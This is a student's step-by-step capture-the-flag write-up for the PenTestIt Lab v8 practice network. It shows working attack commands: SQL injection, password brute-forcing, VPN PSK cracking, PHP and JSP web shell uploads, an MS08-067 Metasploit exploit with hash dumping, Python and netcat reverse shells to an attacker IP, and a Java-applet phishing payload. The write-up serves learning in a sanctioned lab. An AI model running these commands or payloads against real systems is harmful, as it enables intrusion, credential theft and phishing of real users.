INTRODUCTION

Hi everyone! My name is Cristiano, I am an university student at the second year of computer science. I have a lot of interesting on network security and I dream to become a penetration tester in the future. This is not only a guide to complete the Lab V.8 of PenTestIt, treat it like an understanding manual of vulnerabilities and how to exploit them. Remember that I written this guide first of all for me to improve my skills and to track what I do during a penetration testing, so I will talk in first person. Ok, let's start!

NETWORK DIAGRAM

The first thing to do is to open the network diagram and analyze our targets, it is located into PenTestIt website: *https://lab.pentestit.ru/images/labs/TL8_map.png*. With a rapid look, I can see that there are two main gateway (*192.168.101.6* and *192.168.101.7*), with the first one I have the access to three machines, with the second one I have the access to the remaining ones. Now that I have an idea of what I am facing, I can start the laboratory.

NETWORK SCAN

The first step is always to scan the network to find which services and ports are available. Open the terminal and type:

nmap 192.168.101.6

This is the output:

PORT STATE SERVICE
80/tcp open http
443/tcp open https

I discovered that there are two open ports, both of them are referring to a website but the first one is an HTTP website (*site*), the second one is an HTTPS website (*portal*).

SITE

Site is the first server which I want to attack. Open *http://192.168.101.6* into the browser and the SaS-Bank website will appear. Perform a directory discovering attack with dirbuster. Into the terminal type:

dirb http://192.168.101.6/ /usr/share/wordlists/dirb/common.txt/ -v

I am telling to dirbuster to use the worlist *common.txt* and output the result in a verbose mode (-v). This is a little piece of output:

---- Scanning URL: http://192.168.101.6/ ----
+ http://192.168.101.6/.bash_history (CODE:403|SIZE:570)
+ http://192.168.101.6/.bashrc (CODE:403|SIZE:570)
+ http://192.168.101.6/.cache (CODE:403|SIZE:570)
+ http://192.168.101.6/.config (CODE:403|SIZE:570)
+ http://192.168.101.6/.cvs (CODE:403|SIZE:570)
+ http://192.168.101.6/.cvsignore (CODE:403|SIZE:570)
+ http://192.168.101.6/.forward (CODE:403|SIZE:570)
+ http://192.168.101.6/.git/HEAD (CODE:403|SIZE:570)

Notice that something is strange because I am receiving only 403 HTTP error codes, which means

forbidden, instead of the classic Error 404: Not Found. Maybe there is a WAF, so I need to change the User-Agent of dirbuster with a real one to simulate a normal GET request:

dirb http://192.168.101.6/ /usr/share/wordlists/dirb/common.txt/ -v -a "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.5.0"

I just added the parameter -a with a valid User-Agent as argument. Similar output of the previous command:

---- Scanning URL: http://192.168.101.6/ ----
+ http://192.168.101.6/.bash_history (CODE:404|SIZE:4390)
+ http://192.168.101.6/.bashrc (CODE:404|SIZE:4390)
+ http://192.168.101.6/.cache (CODE:404|SIZE:4390)
+ http://192.168.101.6/.config (CODE:404|SIZE:4390)
+ http://192.168.101.6/.cvs (CODE:404|SIZE:4390)
+ http://192.168.101.6/.cvsignore (CODE:404|SIZE:4390)
+ http://192.168.101.6/.forward (CODE:404|SIZE:4390)
+ http://192.168.101.6/.git/HEAD (CODE:200|SIZE:23)

Now I receive error 404 if the directory does not exist and also there is a *.git* folder which can be the attack vector to the site (HTTP response code is 200). First of all download a tool called dvcs-ripper: *https://github.com/kost/dvcs-ripper*, extract it into a folder and type:

./rip-git.pl -u http://192.168.101.6/.git/ -o /home/cristiano/Scrivania/pentest/

I used the -o parameter to save the *.git* folder into my desktop. At the end I have the entire *.git* folder saved locally, it is time to explore it. Navigating to *app/database/seeds/DatabaseSeeder.php* I can found an interesting thing:

User::create(array('email' => 'user@sas.local', 'login' => 'user', 'password' => Hash::make('5K0YqEk1JQVXkVJw8SeA')));

I have found username and password of an user:

User: user
Password: 5K0YqEk1JQVXkVJw8SeA

Now just login into the website. Token found!

CABINET

Now I can move to attack cabinet. Open the browser and type *https://192.168.101.6* and a login form will appear. Try to perform another directory discovering attack with dirbuster:

dirb https://192.168.101.6/ /usr/share/wordlists/dirb/common.txt/ -a "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.5.0"

I discovered another hidden folder (*api*), just type *https://192.168.101.6/api* into the browser and a message appears:

You can use only '/api/auth' or '/api/balance' requests

Try to browse to *https://192.168.101.6/api/auth*, another message will be displayed:

{"error":{"email":["The email field is required."],"password":["The password field is required."]}}

The auth API requires two parameters, I can try to complete the required parameters to see what

happen:

https://192.168.101.6/api/auth?email=something@provider.com&password=something

I receive this error:

{"error":{"email":["The selected email is invalid."]}}

I can use the two emails that I found into *DatabaseSeeder.php* of *.git* folder but I receive the same error. So, analyze the balance API. Type *https://192.168.101.6/api/balance* into browser and this message will show up:

{"error":{"api_session_token":["The api session token field is required."],"id":["The id field is required."]}}

I need another two parameters, let's complete our API:

https://192.168.101.6/api/balance?api_session_token=aaaa&id=1

This is the output:

{"error":{"api_session_token":["The api session token must be 40 characters."]}}

Ok, just add 40 characters into the first field:

https://192.168.101.6/api/balance?api_session_token=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&id=1

The output is :

[]

It means that the API works but the result of the query is NULL because I need to insert a valid user token and the API will print to the screen the balance of the user. Let's try to SQL Inject the first parameter:

https://192.168.101.6/api/balance?api_session_token=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'OR '1'='1&id=1

This is the output:

[{"id":"1","email":"KyleEShannon@cuvox.de","balance":"37.00"},
{"id":"2","email":"EricLWhitaker@dayrep.com","balance":"59.00"},
{"id":"3","email":"PhillipSPhillips@fleckens.hu","balance":"8.00"},
{"id":"4","email":"DrewLHolloway@rhyta.com","balance":"111.00"},
{"id":"5","email":"ErnestCWilliams@cuvox.de","balance":"154.00"},
{"id":"6","email":"RobertPNetherton@cuvox.de","balance":"81.00"},
{"id":"7","email":"IsmaelNNewcomb@dayrep.com","balance":"92.00"},
{"id":"8","email":"AldenTPfaff@teleworm.us","balance":"78.00"},
{"id":"9","email":"JamesMPang@fleckens.hu","balance":"42.00"},
{"id":"10","email":"WilliamLSchmidt@armyspy.com","balance":"137.00"},
{"id":"11","email":"JohnCPerkins@teleworm.us","balance":"126.00"},
{"id":"12","email":"DonaldDRandolph@fleckens.hu","balance":"186.00"},
{"id":"13","email":"JohnMMartin@rhyta.com","balance":"186.00"},
{"id":"14","email":"MichaelJDavis@fleckens.hu","balance":"73.00"},
{"id":"15","email":"TravisMHeadrick@cuvox.de","balance":"179.00"},
{"id":"16","email":"JonathanJAlejandro@rhyta.com","balance":"67.00"},
{"id":"17","email":"JeremiahBMagee@superrito.com","balance":"73.00"},
{"id":"18","email":"ManuelTBoland@rhyta.com","balance":"35.00"},
{"id":"19","email":"EthelCMyers@einrot.com","balance":"165.00"},
{"id":"20","email":"RandyRDarden@superrito.com","balance":"20.00"},

{"id":"21","email":"JohnIHampton@teleworm.us","balance":"105.00"},
{"id":"22","email":"LesterLLenard@cuvox.de","balance":"19.00"},
{"id":"23","email":"RalphWestfall@sas-bank.lab","balance":"18.00"}]

The SQL injection worked and I have the full list of emails. Now I need a password of an email, the best choice is to start from *RalphWestfall@sas-bank.lab*, because his email domain is sas-bank.lab. Do you remember the auth API? Now I have a valid email but I need to find the password. I can bruteforce it with GET requests with BurpSuite Intruder. This is the attack payload:

GET /api/auth?email=RalphWestfall@sas-bank.lab&password=§something§ HTTP/1.1
Host: 192.168.101.6
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.3.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/*;q=0.8*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Connection: keep-alive

Download a big wordlists repository: *https://github.com/fuzzdb-project/fuzzdb*. Load the wordlist located in *fuzzdb-master/wordlist-user-passwd/john.txt* and start the attack. Order the responses by length, because the response code is always 200 for all requests, the only thing that change is the length of the response. At the end of bruteforce attack I discover that the password is *freeman*. Try to login with these credentials:

Email: RalphWestfall@sas-bank.lab
Password: freeman

I am logged in. There is a balance page of the user and there is a little thing to notice. If I click on the blank icon in the upper left side of the page, I discover that it is an upload form for the user profile picture. I can try to upload a PHP shell, I am using the *b374k.php (https://github.com/b374k/b374k)*. Unfortunatelly, I receive a message which says that only jpeg, bmp and png file are accepted but before surrend, let's find the folder where file are uploaded. I can retry a directory discovering but just use the fantasy, try */uploads* folder. If we browse to *https://192.168.101.6/uploads* we receive an error 403 Forbidden. It means that the folder exists but I can't view (of course) the file inside it. Just try to see if the PHP shell has been uploaded. Type into browser *https://192.168.101.6./uploads/b374k.php*. Yes! Shell has been uploaded, now I can navigate into directories and going two level down, I found the *token.txt* file.

NETWORK SCAN

The next step is to attack the *ssh-dev* server, but I don't have usernames, passwords or private keys to connect to it. So let's do a network scan of *192.168.101.7*. Open the terminal and type:

nmap 192.168.101.7

This is the output:

Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.06 seconds

As nmap suggest, host seems down but maybe they are blocking our pings, so add -Pn parameter:

nmap 192.168.101.7 -Pn

This is the new output:

PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
8100/tcp open xprint-server

As I can see, hosts were blocking our pings. Let's start analyze the services: there is an ssh server on port 22, an email server on port 25 and an xprint-server on port 8100. Since we can't connect to the ssh server without usernames, passwords and private keys we can focus on the mail server. Try to browse on *http://192.168.101.7:8100* to see what happen. As I can expect, there is a login form for the mail server. I already have an email and a password (I have found it on *cabinet*), so let's try to use these credentials to login:

Email: RalphWestfall@sas-bank.lab
Password: freeman

It works! Unfortunatelly there are no token inside but there is a mail from Donald Randolph with interesting informations:

"Hi!
We doing scheduled replacement of vpn passwords.

login: westfall
password: AiWa8ahk

All other parameters remain unchanged.

Have a nice day!"

A VPN? If I look into network diagram we can notice that there is a cisco router inside the network, so I can try to hack it. I use ikeforce to bruteforce the VPN login, but first of all I need to use ike-scan. Download the tools: *https://github.com/SpiderLabs/ikeforce* and *https://github.com/royhills/ike-scan*.

Install ike-scan and type this command on the terminal:

sudo ike-scan -M -A 192.168.101.7

The parameter -M it's for a more readable output, while the -A parameter stands for aggressive mode. This is the output:

Starting ike-scan 1.9.4 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)

Ending ike-scan 1.9.4: 1 hosts scanned in 2.438 seconds (0.41 hosts/sec). 0 returned handshake; 0 returned notify

It seems to doesn't work, but if I specify a random group with the following command:

sudo ike-scan -M --id=foobar -A 192.168.101.7

I get this output:

Starting ike-scan 1.9.4 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
192.168.101.7 Aggressive Mode Handshake returned
HDR=(CKY-R=ca9bf46ccd460623)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
KeyExchange(128 bytes)
Nonce(20 bytes)
ID(Type=ID_IPV4_ADDR, Value=172.16.0.100)
Hash(20 bytes)
VID=12f5f28c457168a9702d9fe274cc0100 (Cisco Unity)
VID=09002689dfd6b712 (XAUTH)
VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
VID=1f07f70eaa6514d3b0fa96542a500100 (Cisco VPN Concentrator)

Ending ike-scan 1.9.4: 1 hosts scanned in 0.218 seconds (4.59 hosts/sec). 1 returned handshake; 0 returned notify

What information I need? Enc=3DS, Hash=SHA1, Group=2:modp1024, Auth=PSK. Now I can use ikeforce to enumerates the groups of VPN. I'm using the default group wordlist located into ikeforce directory with -w parameter. We need to use -t parameter to specify encryption type, hash, group and authentication method that I found. There is a table into the github readme of ikeforce:

sudo ./ikeforce.py 192.168.101.7 -e -w wordlists/groupnames.dic -t 5 2 1 2

This is the output:

[+]Program started in Enumeration Mode
[+]Checking for possible enumeration techniques
Analyzing initial response. Please wait, this can take up to 30 seconds...

[+]Cisco Device detected
[-]Not vulnerable to DPD group name enumeration
[+]Device is vulnerable to multiple response group name enumeration
Restarting...

[+]Using New Cisco Group Enumeration Technique
Press return for a status update
[*] Correct ID Found: DefaultL2LGroup. However this Group/ID does not have a PSK associated with it. Continuing...

[*] Correct ID Found: DefaultRAGroup. However this Group/ID does not have a PSK associated with it. Continuing...

[*] Correct ID Found: DefaultWEBVPNGroup. However this Group/ID does not have a PSK associated with it. Continuing...

[*]Correct ID Found: vpn

Shutting down server

I have found the group (vpn), now I need to capture the PSK handshake:

sudo ike-scan -M --id=vpn -A 192.168.101.7 -Ptest.psk

I am using -P parameter to save the handshake into a file. Notice that I don't add space between -P and file name. Now that I have generated a psk file which contains the handshake, I can crack it with psk-crack included into ike-scan:

psk-crack -d /home/cristiano/Scrivania/rockyou.txt test.psk

-d parameter specify the wordlist to use. *rockyou.txt* wordlist is inside */usr/share/wordlists*. This is the output:

Starting psk-crack [ike-scan 1.9.4] (http://www.nta-monitor.com/tools/ike-scan/)
Loaded 1 PSK entries from test.psk
Running in dictionary cracking mode
key "cisco123" matches SHA1 hash 3079803df572de5b577e3b0d501762687d127045
Ending psk-crack: 141196 iterations in 0.253 seconds (557441.38 iterations/sec)

I have found the password of vpn group. Let's login with vpnc:

sudo vpnc

Insert the collected data:

Enter IPSec gateway address: 192.168.101.7
Enter IPSec ID for 192.168.101.7: vpn
Enter IPSec secret for vpn@192.168.101.7: cisco123
Enter username for 192.168.101.7: westfall
Enter password for westfall@192.168.101.7: AiWa8ahk

Now I am connected to cisco! I can create a *lab.conf* file into */etc/vpnc* like this:

IPSec gateway 192.168.101.7
IPSec ID vpn
IPSec secret cisco123
Xauth username westfall
Xauth password AiWa8ahk

Next time I can connect to the vpn with the following command without type every time the credentials:

sudo vpnc lab.conf

CISCO

Now that I am connected to *cisco*, try to browse *http://google.it*, it doesn't work. That's strange, try to ping the Google IP:

ping 173.194.113.56

Ping works with IP but not with URL. Seems to be a DNS problem. Let's check our DNS into */etc/resolv.conf*. Surprise!

TERMINAL

The next machine that I attack is *terminal*. I need to be connected to cisco router to ping *192.168.0.2*, because it is an internal network IP. Do a nmap scan:

nmap 192.168.0.2 -A

Parameter -A performs an OS detection and executes some scripts to detect available services. After the scan we notice that smb service is enabled, so I can try to check if it is vulnerable to ms08_067netapi. Fire up Metasploit:

sudo service postgresql start

I enabled the db service, now open metasploit:

sudo msfconsole

These are the commands to type into metasploit console:

use exploit/windows/smb/ms08_067_netapi
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.0.2
exploit

I am telling to metasploit to use ms08_067netapi exploit and use a bind TCP shell. With the RHOST parameter I set the terminal IP. Ok, after the exploit command, I notice that I have exploited the terminal and a meterpreter session is opened. Now add an account with the following command:

run getgui -u user -p password

I created an account with user as username and password as a password (funny?). Open a new terminal and connect to *terminal* via remote desktop:

rdesktop 192.168.0.2

Remember to use username and password created 2 steps ago. When logged, go to Start->Administrative Tools->Computer Management, now click on Local Users and Groups->Users and voilà, westfall account description it's our token. Navigate to *C:\Document and Settings\westfall\Desktop* and I found a .ppk file, generated with Putty. It is the RSA private key of westfall. I need to convert it to an OpenSSH format. Open PuttyGen (find it on Start->All Programs), click Load and select *key.ppk*. Now click on Convertions->Export OpenSSH Key. Ignore the warning message about passphrase, I don't need it. Copy the key into your PC locally. I have done, but before close the meterpreter session, dump the passwords hashes of all users:

run hashdump

Copy the hashes into a .txt file and crack them with Ophcrack, I use XP fast and XP small tables. These are the cracked hashes:

Administrator:500:0c03469220b35e9a05703d5f741b1170:49cddceb6d2f5e5a4e0aeb060bf14c3f:L4BL4BL:4B!:l4bl4bl4b!
Guest:501::31d6cfe0d16ae931b73c59d7e0c089c0:::
SUPPORT_388945a0:1001::02d65c711a7236a4f835cf733cb5f049:::
martin:1003:042b562c7c48e8f1944e2df489a880e4:91f079e0039595d40e9ecbf05612afcd:FAEH6JE:R:faeh6Jer
darden:1004:bc18441c94bf5d9617306d272a9441bb:42609d05847408f0fedd47a870faa3f9:RAEL6EL:E:RaeL6ele
marks:1005:70d4e8d0dc609db717306d272a9441bb:696ee636c75c50951d6b263956330250:CHEE1XE:E:chee1Xee
mitchell:1006:f5b30004aeb6c1f15acdcd7c247fa83a:d06ea08d05ae8360069e97ce3c7fdc85:QUAEF1A:H:Quaef1ah
deschamp:1007:18fad23a1da037247584248b8d2c9f9e:a828a68202e54256bb9aedf4ad7a7b62:MEEGAE4:A:meeGae4a
wright:1008:ce91d837c4141f6d7ca65f36030673dd:28119b671f1c3912dfc31f4e7d1c6a0e:LIUN9AH:J:LiuN9Ahj
mason:1009:ef7e77b3480423de902139606b6d16b5:f07140a4380703c87b7a132f57e897e8:HAE1WAH:B:hae1Wahb
evans:1010:c441c5b6d2231a33613e9293942509f0:6994c556ad7a87615b23a86a50b90605:PAHP7UX:U:pahp7Uxu
westfall:1011:1a19a1d20cfd5e98c482c03f54cdb5d9:faa65cad7129302f5878ec06b747c232:AIWA8AH:K:AiWa8ahk
user:1012:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:PASSWOR:D:password

EMAIL

We have a list of users and their passwords. If you opened the westfall email account, you could noticed that there was an user (deschamp) who sent the email to westfall. Also we found the deschamp terminal password, why not try to login into mail with his email and password?

Email: leroydeschamp@sas-bank.lab
Password: meeGae4a

It works, and also we found the mail token. There is also an interesting mail:

"Hi!
We have some problem with the certificate to signing java applets.
So, in the Java settings you need to add host 172.16.0.3 to the java exceptions.
And you will see some java pop up notification, it is ok, put a tick and run it."

Keep it in mind. Now we can try to attack the SSH servers, we have the westfall private key.

SSH

Ok, we have the westfall private key and an ssh server to *192.168.101.7*. Open the terminal and type:

sudo ssh -i westfall_key.txt westfall@192.168.101.7

With the paramater -i we are telling to ssh command to use the private key. We are logged in, navigate to *../davis* and you will get ssh token. As you can see there is a *ssh.key* and a debug folder. As a penetration tester, you need to collect all information you find. So we need to download them. Exit from ssh command shell, remember the path of files and type:

sudo scp -i westfall_key.txt westfall@192.168.101.7:../davis/ssh.key /home/cristiano/Scrivania

Now download the debugs folder:

sudo scp -r -i westfall_key.txt westfall@192.168.101.7:../davis/debugs /home/cristiano/Scrivania

Now we have another private key, maybe it can be usefull for *ssh-dev*.

SSH-DEV

For *ssh-dev* it's more complicated. We can't ping it from the external network, in fact we can't ping it. We can try to ping it from cabinet to check if we can reach it from the internal network. Reupload the b374k shell, go into terminal tab and try to execute:

ping 172.16.0.3

It works, so we can comunicate to *ssh-dev* from cabinet. We need to open a reverse shell into cabinet to perform the attack. Type into your PC terminal:

sudo nc -lvp 80

Now we are listening on port 80. Into PHP shell type:

python -c "import sys,socket,os,pty; _,ip,port=sys.argv; s=socket.socket(); s.connect((ip,int(port)));
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn('/bin/bash')" 10.10.X.X 80

Remember to use your PenTestIt VPN IP. We are telling to cabinet to reverse the connection from cabinet to our port 80. Upload the westfall private key from picture upload form and execute the command:

ssh -i westfall_key.txt westfall@172.16.0.3

Execute ls, there is a *token.txt* file. To see the content of the file just type:

cat token.txt

And we get token of *ssh-dev*.

PORTAL

Next server is *portal*. Try to ping it:

ping 192.168.0.3

You should do it while connected to cisco because 192.168.X.X it's an internal network IP but it is not reachable. Try to ping it from another machine where we have a shell, in this case ssh server. Login to it and execute again the ping command. Now it works. We can try to perform an SSH tunneling but we need to scan the open ports of portal. We can use a python script, download it from here: http://www.pythonforbeginners.com/code-snippets-source-code/port-scanner-in-python. You need to edit the script to change the port range. So at line 27 change the code with this:

for port in range(1,65535):

Save it and try to upload the file with:

sudo scp -i westfall_key.txt /home/cristiano/Scaricati/portscanner.py westfall@192.168.101.7:/public

We get permission denied. We have the davis key too, so try to do the same with davis account:

sudo scp -i davis_key.txt /home/cristiano/Scaricati/portscanner.py davis@192.168.101.7:/public

It works because */public* permission is drwxrwxrwt! Login with davis account and set +x permission to the script:

chmod +x portscanner.py

Then execute it:

./portscanner.py

This is the output:

```
Enter a remote host to scan: 192.168.0.3
---------------------------------------------------------------
Please wait, scanning remote host 192.168.0.3
---------------------------------------------------------------
Port 22:            Open
Port 8080:          Open
Scanning Completed in:  0:01:07.621263
```

There are two open ports, port 22 is for SSH, port 8080 is for the website. Now we can perform the SSH tunneling:

sudo ssh -nNT -i davis_key.txt -f -L 9000:192.168.0.3:8080 davis@192.168.101.7

Identify which service are running into portal:

nmap localhost -sV -p 9000

This is the response:

```
PORT     STATE  SERVICE  VERSION
9000/tcp  open     http         Apache Tomcat/Coyote JSP engine 1.1
```

So we are facing a tomcat server. We need to find a way to exploit it. Tomcat default page login is /manager, in fact if we try to open http://localhost:9000/manager we have login prompt. Use metasploit to bruteforce user and password:

```
use auxiliary/scanner/http/tomcat_mgr_login
set RHOSTS localhost
set RPORT 9000
set PASS_FILE /usr/share/wordlists/dirb/big.txt
set USER_AS_PASS true
set BLANK_PASSWORDS true
set STOP_ON_SUCCESS true
set THREADS 16
exploit
```

At the end we found the credentials:

```
User: tomcat
Password: hydrogen
```

We are logged into tomcat control panel. We need to create a reverse shell. Download this repository: https://github.com/danielmiessler/SecLists/tree/master/Payloads/laudanum-0.8. Browse to jsp and you will find cmd.war that is a tomcat module which can execute comannds into the server like the PHP shell of cabinet. Click Browse..., select cmd.war and click Deploy. Once you have uploaded it, you will find /cmd into application list. Go to http://localhost:9000/cmd/cmd.jsp and a simple interface will show up. Now we can execute simple commands like ls. We need to create a reverse shell into this server. In particular we need a bind shell. Execute this command into your PC:

sudo netcat -lvp 443

Then execute this into portal:

netcat -e /bin/sh 10.10.X.X 443

You will get a reverse shell without TTY. Execute this command into your terminal:

python -c 'import pty; pty.spawn("/bin/bash")'

A TTY shell will be spawn. Now we need to find the token. We need to use find command:

*find -name "*token*"*

A particular directory will be displayed: */webapps/ROOT/fOAhJ0MIS6_token.txt*

Just execute:

cat webapps/ROOT/fOAhJ0MIS6_token.txt

And you will get the token. Now we can close the SSH tunneling:

sudo killall ssh

Move to java-dev.

JAVA-DEV

Do you remember the debug folder into davis folder? We need to take a look into. Open debug.log file and analyze it. We can see that it's an encrypted SSL traffic but we can decrypt it with Client Nonce key and Master Secret key. Scroll down the .log file and you can see that we have:

Client Nonce:
0000: 56 44 86 10 B9 95 CC 0F 81 00 56 0F CF 0C F8 BE VD.....V.....
0010: 73 30 B2 D2 F3 1D 86 A4 25 9E 1E C1 02 F7 6C 50 s0.....%.....lP

Master Secret:
0000: 7C DA 1B 70 81 AE 8A 7F AE 76 CA 71 FB C7 04 EC ...p.....v.q....
0010: 24 79 6C E5 C1 F5 3A 15 F1 63 25 B3 39 46 54 4F $yl...:..c%.9FTO
0020: D0 B1 DA BD E4 DB 18 75 04 A7 4C 11 38 D1 63 BF ....u..L.8.c.

We just need to put this two string into a .txt file, and load it into Wireshark:

CLIENT_RANDOM 56448610b995cc0f8100560fcf0cf8be7330b2d2f31d86a4259e1ec102f76c50
7cda1b7081ae8a7fae76ca71fbc704ec24796ce5c1f53a15f16325b33946544fd0b1dabde4db187504a74c1138d163bf

Save it as premasterkey.txt. Open Wireshark, go to Edit->Preferences, now Protocols->SSL. Now select premasterkey.txt at (Pre)-Master-Secret log filename label. Press OK. Now File->Open and select the .pcapng file. Once you loaded it, click on Analyze->Decode As...->SSL. Now click on Client Hello string and Analyze->Follow SSL Stream. This is the output:

instance:XE
user:TESTER1
password:Token_Java_dev_hydrogen1

We have found the token for java-dev and an username and a password. Of course we are talking about the db, because it's the remaining server to attack. Let's hack db.

DB

First of all follow this guide to install the Oracle Instant Client to access the db: https://github.com/rapid7/metasploit-framework/wiki/How-to-get-Oracle-Support-working-with-Kali-Linux. After this we need to create an SSH tunnel to connect to DB, notice in the network diagram that there is an SSH icon. We need an SSH tunneling and we can perform it with davis from ssh. Type in terminal:

sudo ssh -nNT -i davis_key.txt -f -L 9000:192.168.0.5:1521 davis@192.168.101.7

We use the port 1521, which is the Oracle DB default port. Connect to DB with the command:

sqlplus 'TESTER1/Token_Java_dev_hydrogen1@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(Host=127.0.0.1)
(Port=9000))(CONNECT_DATA=(SID=XE)))'

Now we are connected into the db. We need to create a reverse shell to get the token. Download and install odat: https://github.com/quentinhardy/odat. Listen for reverse shell:

sudo nc -lvp 443

Then execute the following command:

sudo ./odat.py dbmsscheduler -s 127.0.0.1 -p 9000 -d XE -U TESTER1 -P Token_Java_dev_hydrogen1 --reverse-shell 10.10.72.110 443

To find the token use:

*find -name "*token*"*

You can notice this in the output:

/u01/app/oracle/product/11.2.0/xe/token.txt

Just type:

cat /u01/app/oracle/product/11.2.0/xe/token.txt

We got the db token.

RECON

Recon is a DNS Recoinnaissance match. We need to interrogate the sas-bank DNS to get the token.

dig @192.168.101.6 sas-bank.lab

dig @192.168.101.7 sas-bank.lab -t axfr

We got the token. We need only one step to complete the lab.

DEV-TEST

This is the last step. I think it's the most difficult part, because we need to perform a social engineering attack. We can use setoolkit to do this. Type:

sudo setoolkit

Do you remember the email we found?

"Hi!
We have some problem with the certificate to signing java applets.
So, in the Java settings you need to add host 172.16.0.3 to the java exceptions.
And you will see some java pop up notification, it is ok, put a tick and run it."

Seems interesting. We can create a Java applet which opens a meterpreter session. In setoolkit type this sequence:

1 – 2 – 1 – 1 – NO – 10.10.X.X – 2 – 1 – 1 – 443 – 1

This will create the files into /var/www/html. We need to upload the index.html and the .jar file into /var/tmp SSH server:

wget "http://10.10.72.110/indextut.html"
wget "http://10.10.72.110/v4dv84e.jar"

Send email to leroydeschamp@sas-bank.lab with http://10.10.X.X/index.html as subject and email text. Listen on port 443. When you get meterpreter session type:

shell

You will be prompted to Windows CMD. We need to find the token. Navigate to C:\Users\deschamp\Desktop. Then type:

dir

I get the list of files. There is token.txt.txt. Just execute:

type token.txt.txt

Lab finished!

CONCLUSION

Ok guys, the guide terminates here. I hope you enjoyed my explanations, any suggestions are appreciated. You can contact me into Telegram EN channel (Cristiano).